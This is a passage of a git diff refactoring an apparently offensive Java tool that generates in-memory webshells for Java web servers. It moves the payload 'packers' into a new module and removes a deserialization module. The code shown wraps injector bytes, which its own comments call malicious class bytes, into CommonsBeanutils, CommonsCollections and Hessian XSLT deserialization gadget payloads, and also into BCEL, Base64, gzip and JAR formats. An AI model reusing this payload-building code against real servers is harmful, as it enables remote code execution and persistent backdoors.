diff --git a/boot/build.gradle.kts b/boot/build.gradle.kts index e924863f..6b8ac1a7 100644 --- a/boot/build.gradle.kts +++ b/boot/build.gradle.kts @@ -26,7 +26,7 @@ dependencies { exclude(group = "org.apache.tomcat", module = "tomcat-catalina") exclude(group = "commons-logging", module = "commons-logging") } - implementation(project(":deserialize")) { + implementation(project(":packer")) { exclude(group = "commons-logging", module = "commons-logging") } implementation("org.springframework.boot:spring-boot-starter-thymeleaf") diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java index 3f5f7fcc..00e418c6 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java @@ -1,11 +1,11 @@ package com.reajason.javaweb.boot.controller; import com.reajason.javaweb.boot.vo.CommandConfigVO; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.server.AbstractShell; +import com.reajason.javaweb.packer.Packers; import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java index 623d4a64..3f4021f4 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java @@ -7,9 +7,9 @@ import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; -import com.reajason.javaweb.memshell.packer.AggregatePacker; -import com.reajason.javaweb.memshell.packer.Packer; -import com.reajason.javaweb.memshell.packer.jar.JarPacker; +import com.reajason.javaweb.packer.AggregatePacker; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.jar.JarPacker; import org.springframework.web.bind.annotation.*; import java.util.Base64; @@ -30,11 +30,11 @@ public class GeneratorController { GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig); Packer packer = request.getPacker().getInstance(); if (packer instanceof JarPacker) { - return new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult))); + return new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig()))); } else if (packer instanceof AggregatePacker) { - return new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult)); + return new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig())); } else { - return new GenerateResponse(generateResult, packer.pack(generateResult)); + return new GenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig())); } } } \ No newline at end of file diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java index 15436678..26ced208 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.boot.dto; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.utils.CommonUtil; +import com.reajason.javaweb.packer.Packers; import lombok.Data; import org.apache.commons.lang3.StringUtils; diff --git a/build.gradle.kts b/build.gradle.kts index b33a6da5..ce83815e 100644 --- a/build.gradle.kts +++ b/build.gradle.kts @@ -7,12 +7,12 @@ tasks.register("publishAllToMavenCentral") { val isSnapshot = rootProject.version.toString().endsWith("-SNAPSHOT") if (isSnapshot) { dependsOn(":memshell-party-common:publishAllPublicationsToMavenCentralRepository") - dependsOn(":deserialize:publishAllPublicationsToMavenCentralRepository") + dependsOn(":packer:publishAllPublicationsToMavenCentralRepository") dependsOn(":memshell:publishAllPublicationsToMavenCentralRepository") dependsOn(":generator:publishAllPublicationsToMavenCentralRepository") } else { dependsOn(":memshell-party-common:publishAndReleaseToMavenCentral") - dependsOn(":deserialize:publishAndReleaseToMavenCentral") + dependsOn(":packer:publishAndReleaseToMavenCentral") dependsOn(":memshell:publishAndReleaseToMavenCentral") dependsOn(":generator:publishAndReleaseToMavenCentral") } diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/DeserializeConfig.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/DeserializeConfig.java deleted file mode 100644 index 7c5a87eb..00000000 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/DeserializeConfig.java +++ /dev/null @@ -1,12 +0,0 @@ -package com.reajason.javaweb.deserialize; - -import lombok.Data; - -/** - * @author ReaJason - * @since 2024/12/13 - */ -@Data -public class DeserializeConfig { - private PayloadType payloadType; -} \ No newline at end of file diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/Hessian2DeserializeGenerator.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/Hessian2DeserializeGenerator.java deleted file mode 100644 index 714485c7..00000000 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/Hessian2DeserializeGenerator.java +++ /dev/null @@ -1,24 +0,0 @@ -package com.reajason.javaweb.deserialize; - -import com.caucho.hessian.io.Hessian2Output; -import lombok.SneakyThrows; - -import java.io.ByteArrayOutputStream; - -/** - * @author ReaJason - * @since 2025/2/19 - */ -public class Hessian2DeserializeGenerator { - @SneakyThrows - public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) { - PayloadType payloadType = config.getPayloadType(); - Object obj = payloadType.getPayload().generate(bytes, className); - ByteArrayOutputStream bos = new ByteArrayOutputStream(); - Hessian2Output hessian2Output = new Hessian2Output(bos); - hessian2Output.getSerializerFactory().setAllowNonSerializable(true); - hessian2Output.writeObject(obj); - hessian2Output.close(); - return bos.toByteArray(); - } -} diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/HessianDeserializeGenerator.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/HessianDeserializeGenerator.java deleted file mode 100644 index 2fd1d1a9..00000000 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/HessianDeserializeGenerator.java +++ /dev/null @@ -1,24 +0,0 @@ -package com.reajason.javaweb.deserialize; - -import com.caucho.hessian.io.HessianOutput; -import lombok.SneakyThrows; - -import java.io.ByteArrayOutputStream; - -/** - * @author ReaJason - * @since 2025/2/19 - */ -public class HessianDeserializeGenerator { - @SneakyThrows - public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) { - PayloadType payloadType = config.getPayloadType(); - Object obj = payloadType.getPayload().generate(bytes, className); - ByteArrayOutputStream bos = new ByteArrayOutputStream(); - HessianOutput hessianOutput = new HessianOutput(bos); - hessianOutput.getSerializerFactory().setAllowNonSerializable(true); - hessianOutput.writeObject(obj); - hessianOutput.close(); - return bos.toByteArray(); - } -} diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/JavaDeserializeGenerator.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/JavaDeserializeGenerator.java deleted file mode 100644 index 346eb41d..00000000 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/JavaDeserializeGenerator.java +++ /dev/null @@ -1,25 +0,0 @@ -package com.reajason.javaweb.deserialize; - -import lombok.SneakyThrows; - -import java.io.ByteArrayOutputStream; -import java.io.ObjectOutputStream; - -/** - * @author ReaJason - * @since 2024/12/13 - */ -public class JavaDeserializeGenerator { - - @SneakyThrows - public static byte[] generate(byte[] bytes, DeserializeConfig config) { - PayloadType payloadType = config.getPayloadType(); - Object obj = payloadType.getPayload().generate(bytes); - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - ObjectOutputStream oos = new ObjectOutputStream(baos); - oos.writeObject(obj); - oos.flush(); - oos.close(); - return baos.toByteArray(); - } -} diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/Payload.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/Payload.java deleted file mode 100644 index 2cd47a53..00000000 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/Payload.java +++ /dev/null @@ -1,28 +0,0 @@ -package com.reajason.javaweb.deserialize; - -/** - * @author ReaJason - * @since 2024/12/13 - */ -public interface Payload { - /** - * 将恶意类字节流封装成序列化对象 - * - * @param bytes 恶意类字节流 - * @return 序列化对象 - */ - default Object generate(byte[] bytes) { - throw new UnsupportedOperationException(); - } - - /** - * 将恶意类字节流封装成序列化对象 - * - * @param bytes 恶意类字节流 - * @param className 恶意类名 - * @return 序列化对象 - */ - default Object generate(byte[] bytes, String className) { - throw new UnsupportedOperationException(); - } -} diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java deleted file mode 100644 index 4ad84854..00000000 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java +++ /dev/null @@ -1,47 +0,0 @@ -package com.reajason.javaweb.deserialize; - -import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine; -import com.reajason.javaweb.deserialize.payload.java.*; -import lombok.Getter; - -/** - * @author ReaJason - * @since 2024/12/13 - */ -@Getter -public enum PayloadType { - /** - * CB 链 - */ - CommonsBeanutils16(new CommonsBeanutils16()), - CommonsBeanutils18(new CommonsBeanutils18()), - CommonsBeanutils19(new CommonsBeanutils19()), - CommonsBeanutils110(new CommonsBeanutils110()), - - /** - * CC 链 - */ - CommonsCollections3(new CommonCollections3()), - CommonsCollections4(new CommonCollections4()), - - /** - * Hessian XSLT write - */ - XSLTScriptEngine(new XSLTScriptEngine()) - ; - - private final Payload payload; - - PayloadType(Payload payload) { - this.payload = payload; - } - - public static PayloadType getPayloadType(String payloadType) { - for (PayloadType value : values()) { - if (value.name().equals(payloadType)) { - return value; - } - } - throw new IllegalArgumentException("unknown payload type: " + payloadType); - } -} diff --git a/generator/build.gradle.kts b/generator/build.gradle.kts index 8f0af990..c28c7482 100644 --- a/generator/build.gradle.kts +++ b/generator/build.gradle.kts @@ -28,8 +28,7 @@ tasks.test { dependencies { implementation(project(":memshell-party-common")) - implementation(project(":deserialize")) - + implementation(project(":packer")) implementation(project(":memshell")) implementation(libs.bundles.jna) implementation(libs.javax.servlet.api) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java index 812659dc..7cf04e57 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java @@ -1,11 +1,14 @@ package com.reajason.javaweb.memshell.config; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.JarPackerConfig; import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; import lombok.NoArgsConstructor; import java.util.Base64; +import java.util.HashMap; import java.util.Map; /** @@ -44,4 +47,28 @@ public class GenerateResult { injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig); } } + + public JarPackerConfig toJarPackerConfig() { + JarPackerConfig jarPackerConfig = new JarPackerConfig(); + jarPackerConfig.setMainClassName(injectorClassName); + Map bytes = new HashMap<>(); + bytes.put(shellClassName, shellBytes); + bytes.put(injectorClassName, injectorBytes); + if (injectorInnerClassBytes != null) { + bytes.putAll(injectorInnerClassBytes); + } + jarPackerConfig.setClassBytes(bytes); + return jarPackerConfig; + } + + public ClassPackerConfig toClassPackerConfig() { + ClassPackerConfig classPackerConfig = new ClassPackerConfig(); + classPackerConfig.setClassName(injectorClassName); + classPackerConfig.setClassBytes(injectorBytes); + classPackerConfig.setClassBytesBase64Str(injectorBytesBase64Str); + if (shellConfig != null) { + classPackerConfig.setByPassJavaModule(shellConfig.needByPassJavaModule()); + } + return classPackerConfig; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/BCELPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/BCELPacker.java deleted file mode 100644 index 8c6d1885..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/BCELPacker.java +++ /dev/null @@ -1,17 +0,0 @@ -package com.reajason.javaweb.memshell.packer; - -import com.reajason.javaweb.memshell.config.GenerateResult; -import lombok.SneakyThrows; -import org.apache.bcel.classfile.Utility; - -/** - * @author ReaJason - * @since 2024/12/19 - */ -public class BCELPacker implements Packer { - @Override - @SneakyThrows - public String pack(GenerateResult generateResult) { - return "$$BCEL$$" + Utility.encode(generateResult.getInjectorBytes(), true); - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java deleted file mode 100644 index 825a03fa..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java +++ /dev/null @@ -1,20 +0,0 @@ -package com.reajason.javaweb.memshell.packer; - -import com.reajason.javaweb.memshell.config.GenerateResult; - -/** - * @author ReaJason - * @since 2024/11/26 - */ -public interface Packer { - - /** - * 将生成的内存马打包成指定格式 - * - * @param generateResult 生成的内存马信息 - * @return 字符串 payload - */ - default String pack(GenerateResult generateResult) { - throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成"); - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/Base64Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/Base64Packer.java deleted file mode 100644 index 06c3c197..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/Base64Packer.java +++ /dev/null @@ -1,10 +0,0 @@ -package com.reajason.javaweb.memshell.packer.base64; - -import com.reajason.javaweb.memshell.packer.AggregatePacker; - -/** - * @author ReaJason - * @since 2024/12/17 - */ -public class Base64Packer implements AggregatePacker { -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/DefaultBase64Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/DefaultBase64Packer.java deleted file mode 100644 index 091fa8c7..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/DefaultBase64Packer.java +++ /dev/null @@ -1,17 +0,0 @@ -package com.reajason.javaweb.memshell.packer.base64; - -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; - -import java.util.Base64; - -/** - * @author ReaJason - * @since 2024/12/17 - */ -public class DefaultBase64Packer implements Packer { - @Override - public String pack(GenerateResult generateResult) { - return Base64.getEncoder().encodeToString(generateResult.getInjectorBytes()); - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/GzipBase64Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/GzipBase64Packer.java deleted file mode 100644 index 56fb7ece..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/GzipBase64Packer.java +++ /dev/null @@ -1,20 +0,0 @@ -package com.reajason.javaweb.memshell.packer.base64; - -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; -import com.reajason.javaweb.memshell.utils.CommonUtil; -import lombok.SneakyThrows; - -import java.util.Base64; - -/** - * @author ReaJason - * @since 2025/1/22 - */ -public class GzipBase64Packer implements Packer { - @Override - @SneakyThrows - public String pack(GenerateResult generateResult) { - return Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(generateResult.getInjectorBytes())); - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2Packer.java deleted file mode 100644 index 50d38dd3..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2Packer.java +++ /dev/null @@ -1,11 +0,0 @@ -package com.reajason.javaweb.memshell.packer.deserialize.hessian; - -import com.reajason.javaweb.memshell.packer.AggregatePacker; - -/** - * @author ReaJason - * @since 2025/2/20 - */ -public class Hessian2Packer implements AggregatePacker { - -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2XSLTScriptEnginePacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2XSLTScriptEnginePacker.java deleted file mode 100644 index b5a01725..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2XSLTScriptEnginePacker.java +++ /dev/null @@ -1,25 +0,0 @@ -package com.reajason.javaweb.memshell.packer.deserialize.hessian; - -import com.reajason.javaweb.deserialize.DeserializeConfig; -import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator; -import com.reajason.javaweb.deserialize.PayloadType; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; - -import java.util.Base64; - -/** - * @author ReaJason - * @since 2025/2/20 - */ -public class Hessian2XSLTScriptEnginePacker implements Packer { - @Override - public String pack(GenerateResult generateResult) { - byte[] injectorBytes = generateResult.getInjectorBytes(); - String injectorClassName = generateResult.getInjectorClassName(); - DeserializeConfig deserializeConfig = new DeserializeConfig(); - deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine); - byte[] generate = Hessian2DeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig); - return Base64.getEncoder().encodeToString(generate); - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianPacker.java deleted file mode 100644 index 4ba57202..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianPacker.java +++ /dev/null @@ -1,11 +0,0 @@ -package com.reajason.javaweb.memshell.packer.deserialize.hessian; - -import com.reajason.javaweb.memshell.packer.AggregatePacker; - -/** - * @author ReaJason - * @since 2025/2/20 - */ -public class HessianPacker implements AggregatePacker { - -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianXSLTScriptEnginePacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianXSLTScriptEnginePacker.java deleted file mode 100644 index b96bb0c0..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianXSLTScriptEnginePacker.java +++ /dev/null @@ -1,26 +0,0 @@ -package com.reajason.javaweb.memshell.packer.deserialize.hessian; - -import com.reajason.javaweb.deserialize.DeserializeConfig; -import com.reajason.javaweb.deserialize.HessianDeserializeGenerator; -import com.reajason.javaweb.deserialize.PayloadType; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; - -import java.util.Base64; - - -/** - * @author ReaJason - * @since 2025/2/20 - */ -public class HessianXSLTScriptEnginePacker implements Packer { - @Override - public String pack(GenerateResult generateResult) { - byte[] injectorBytes = generateResult.getInjectorBytes(); - String injectorClassName = generateResult.getInjectorClassName(); - DeserializeConfig deserializeConfig = new DeserializeConfig(); - deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine); - byte[] generate = HessianDeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig); - return Base64.getEncoder().encodeToString(generate); - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils110Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils110Packer.java deleted file mode 100644 index fd6179f8..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils110Packer.java +++ /dev/null @@ -1,27 +0,0 @@ -package com.reajason.javaweb.memshell.packer.deserialize.java; - -import com.reajason.javaweb.deserialize.DeserializeConfig; -import com.reajason.javaweb.deserialize.JavaDeserializeGenerator; -import com.reajason.javaweb.deserialize.PayloadType; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; -import lombok.SneakyThrows; - -import java.util.Base64; - - - -/** - * @author ReaJason - * @since 2025/2/17 - */ -public class CommonsBeanutils110Packer implements Packer { - - @Override - @SneakyThrows - public String pack(GenerateResult generateResult) { - DeserializeConfig deserializeConfig = new DeserializeConfig(); - deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils110); - return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils16Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils16Packer.java deleted file mode 100644 index b67b78b1..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils16Packer.java +++ /dev/null @@ -1,27 +0,0 @@ -package com.reajason.javaweb.memshell.packer.deserialize.java; - -import com.reajason.javaweb.deserialize.DeserializeConfig; -import com.reajason.javaweb.deserialize.JavaDeserializeGenerator; -import com.reajason.javaweb.deserialize.PayloadType; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; -import lombok.SneakyThrows; - -import java.util.Base64; - - - -/** - * @author ReaJason - * @since 2025/2/17 - */ -public class CommonsBeanutils16Packer implements Packer { - - @Override - @SneakyThrows - public String pack(GenerateResult generateResult) { - DeserializeConfig deserializeConfig = new DeserializeConfig(); - deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils16); - return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils18Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils18Packer.java deleted file mode 100644 index cc5ef42e..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils18Packer.java +++ /dev/null @@ -1,27 +0,0 @@ -package com.reajason.javaweb.memshell.packer.deserialize.java; - -import com.reajason.javaweb.deserialize.DeserializeConfig; -import com.reajason.javaweb.deserialize.JavaDeserializeGenerator; -import com.reajason.javaweb.deserialize.PayloadType; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; -import lombok.SneakyThrows; - -import java.util.Base64; - - - -/** - * @author ReaJason - * @since 2025/2/17 - */ -public class CommonsBeanutils18Packer implements Packer { - - @Override - @SneakyThrows - public String pack(GenerateResult generateResult) { - DeserializeConfig deserializeConfig = new DeserializeConfig(); - deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils18); - return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils19Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils19Packer.java deleted file mode 100644 index 08a958f0..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils19Packer.java +++ /dev/null @@ -1,25 +0,0 @@ -package com.reajason.javaweb.memshell.packer.deserialize.java; - -import com.reajason.javaweb.deserialize.DeserializeConfig; -import com.reajason.javaweb.deserialize.JavaDeserializeGenerator; -import com.reajason.javaweb.deserialize.PayloadType; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; -import lombok.SneakyThrows; - -import java.util.Base64; - -/** - * @author ReaJason - * @since 2025/2/17 - */ -public class CommonsBeanutils19Packer implements Packer { - - @Override - @SneakyThrows - public String pack(GenerateResult generateResult) { - DeserializeConfig deserializeConfig = new DeserializeConfig(); - deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19); - return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsCollections3Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsCollections3Packer.java deleted file mode 100644 index 08403ba5..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsCollections3Packer.java +++ /dev/null @@ -1,27 +0,0 @@ -package com.reajason.javaweb.memshell.packer.deserialize.java; - -import com.reajason.javaweb.deserialize.DeserializeConfig; -import com.reajason.javaweb.deserialize.JavaDeserializeGenerator; -import com.reajason.javaweb.deserialize.PayloadType; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; -import lombok.SneakyThrows; - -import java.util.Base64; - - - -/** - * @author ReaJason - * @since 2025/2/17 - */ -public class CommonsCollections3Packer implements Packer { - - @Override - @SneakyThrows - public String pack(GenerateResult generateResult) { - DeserializeConfig deserializeConfig = new DeserializeConfig(); - deserializeConfig.setPayloadType(PayloadType.CommonsCollections3); - return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsCollections4Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsCollections4Packer.java deleted file mode 100644 index d3f989d4..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsCollections4Packer.java +++ /dev/null @@ -1,27 +0,0 @@ -package com.reajason.javaweb.memshell.packer.deserialize.java; - -import com.reajason.javaweb.deserialize.DeserializeConfig; -import com.reajason.javaweb.deserialize.JavaDeserializeGenerator; -import com.reajason.javaweb.deserialize.PayloadType; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; -import lombok.SneakyThrows; - -import java.util.Base64; - - - -/** - * @author ReaJason - * @since 2025/2/17 - */ -public class CommonsCollections4Packer implements Packer { - - @Override - @SneakyThrows - public String pack(GenerateResult generateResult) { - DeserializeConfig deserializeConfig = new DeserializeConfig(); - deserializeConfig.setPayloadType(PayloadType.CommonsCollections4); - return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/JavaDeserializePacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/JavaDeserializePacker.java deleted file mode 100644 index ca928a9c..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/JavaDeserializePacker.java +++ /dev/null @@ -1,11 +0,0 @@ -package com.reajason.javaweb.memshell.packer.deserialize.java; - -import com.reajason.javaweb.memshell.packer.AggregatePacker; - -/** - * @author ReaJason - * @since 2024/12/10 - */ -public class JavaDeserializePacker implements AggregatePacker { - -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyPacker.java deleted file mode 100644 index 0faf9060..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyPacker.java +++ /dev/null @@ -1,11 +0,0 @@ -package com.reajason.javaweb.memshell.packer.groovy; - -import com.reajason.javaweb.memshell.packer.AggregatePacker; - -/** - * @author ReaJason - * @since 2024/12/13 - */ -public class GroovyPacker implements AggregatePacker { - -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/DefaultJarPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/DefaultJarPacker.java deleted file mode 100644 index 347f3f11..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/DefaultJarPacker.java +++ /dev/null @@ -1,37 +0,0 @@ -package com.reajason.javaweb.memshell.packer.jar; - -import com.reajason.javaweb.memshell.config.GenerateResult; -import lombok.SneakyThrows; - -import java.io.ByteArrayOutputStream; -import java.util.jar.JarEntry; -import java.util.jar.JarOutputStream; -import java.util.jar.Manifest; - -/** - * @author ReaJason - * @since 2025/1/22 - */ -public class DefaultJarPacker implements JarPacker { - - @Override - @SneakyThrows - public byte[] packBytes(GenerateResult generateResult) { - String mainClass = generateResult.getInjectorClassName().replace('.', '/') + ".class"; - String advisorClass = generateResult.getShellClassName().replace('.', '/') + ".class"; - - Manifest manifest = new Manifest(); - manifest.getMainAttributes().putValue("Manifest-Version", "1.0"); - ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); - try (JarOutputStream targetJar = new JarOutputStream(byteArrayOutputStream, manifest)) { - targetJar.putNextEntry(new JarEntry(mainClass)); - targetJar.write(generateResult.getInjectorBytes()); - targetJar.closeEntry(); - - targetJar.putNextEntry(new JarEntry(advisorClass)); - targetJar.write(generateResult.getShellBytes()); - targetJar.closeEntry(); - } - return byteArrayOutputStream.toByteArray(); - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/JarPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/JarPacker.java deleted file mode 100644 index 094d08e2..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/JarPacker.java +++ /dev/null @@ -1,18 +0,0 @@ -package com.reajason.javaweb.memshell.packer.jar; - -import 